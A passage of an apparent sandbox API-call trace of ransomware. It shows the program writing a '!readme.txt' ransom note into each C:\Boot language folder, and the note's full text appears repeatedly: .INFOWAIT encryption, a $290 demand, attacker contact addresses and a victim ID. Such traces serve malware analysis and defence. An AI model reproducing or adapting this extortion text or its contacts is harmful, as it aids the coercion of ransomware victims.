hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.632] PathFindExtensionW (pszPath="C:\\Boot\\nb-NO\\!readme.txt") returned=".txt" [0113.632] PathFindExtensionW (pszPath="C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned=".mui" [0113.632] PathFindFileNameW (pszPath="C:\\Boot\\nl-NL\\") returned="nl-NL\\" [0113.632] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.632] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.632] PathFindFileNameW (pszPath="") returned="" [0113.632] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6ef408 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.633] PathAppendW (in: pszPath="C:\\Boot\\nl-NL\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\nl-NL\\!readme.txt") returned 1 [0113.633] PathFileExistsW (pszPath="C:\\Boot\\nl-NL\\!readme.txt") returned 0 [0113.634] lstrcpyW (in: lpString1=0x248f900, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.634] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.639] PathFindExtensionW (pszPath="C:\\Boot\\nl-NL\\!readme.txt") returned=".txt" [0113.639] PathFindExtensionW (pszPath="C:\\Boot\\nl-NL\\bootmgr.exe.mui") returned=".mui" [0113.639] PathFindFileNameW (pszPath="C:\\Boot\\pl-PL\\") returned="pl-PL\\" [0113.639] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.640] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.640] PathFindFileNameW (pszPath="") returned="" [0113.640] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6ef408 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.640] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\!readme.txt") returned 1 [0113.640] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\!readme.txt") returned 0 [0113.640] lstrcpyW (in: lpString1=0x24af900, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.640] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.642] PathFindExtensionW (pszPath="C:\\Boot\\pl-PL\\!readme.txt") returned=".txt" [0113.642] PathFindExtensionW (pszPath="C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned=".mui" [0113.642] PathFindFileNameW (pszPath="C:\\Boot\\pt-BR\\") returned="pt-BR\\" [0113.642] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.642] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.642] PathFindFileNameW (pszPath="") returned="" [0113.642] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6ef408 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.642] PathAppendW (in: pszPath="C:\\Boot\\pt-BR\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\pt-BR\\!readme.txt") returned 1 [0113.642] PathFileExistsW (pszPath="C:\\Boot\\pt-BR\\!readme.txt") returned 0 [0113.644] lstrcpyW (in: lpString1=0x24af900, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.644] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.646] PathFindExtensionW (pszPath="C:\\Boot\\pt-BR\\!readme.txt") returned=".txt" [0113.646] PathFindExtensionW (pszPath="C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned=".mui" [0113.646] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0113.646] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.646] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.646] PathFindFileNameW (pszPath="") returned="" [0113.646] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6ef408 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.646] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\!readme.txt") returned 1 [0113.647] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\!readme.txt") returned 0 [0113.647] lstrcpyW (in: lpString1=0x24af900, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.647] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.649] PathFindExtensionW (pszPath="C:\\Boot\\pt-PT\\!readme.txt") returned=".txt" [0113.649] PathFindExtensionW (pszPath="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned=".mui" [0113.649] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0113.649] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0113.649] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.649] PathFindFileNameW (pszPath="") returned="" [0113.649] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6ef408 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.649] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="!readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\!readme.txt") returned 1 [0113.649] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\!readme.txt") returned 0 [0113.650] lstrcpyW (in: lpString1=0x24af900, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal 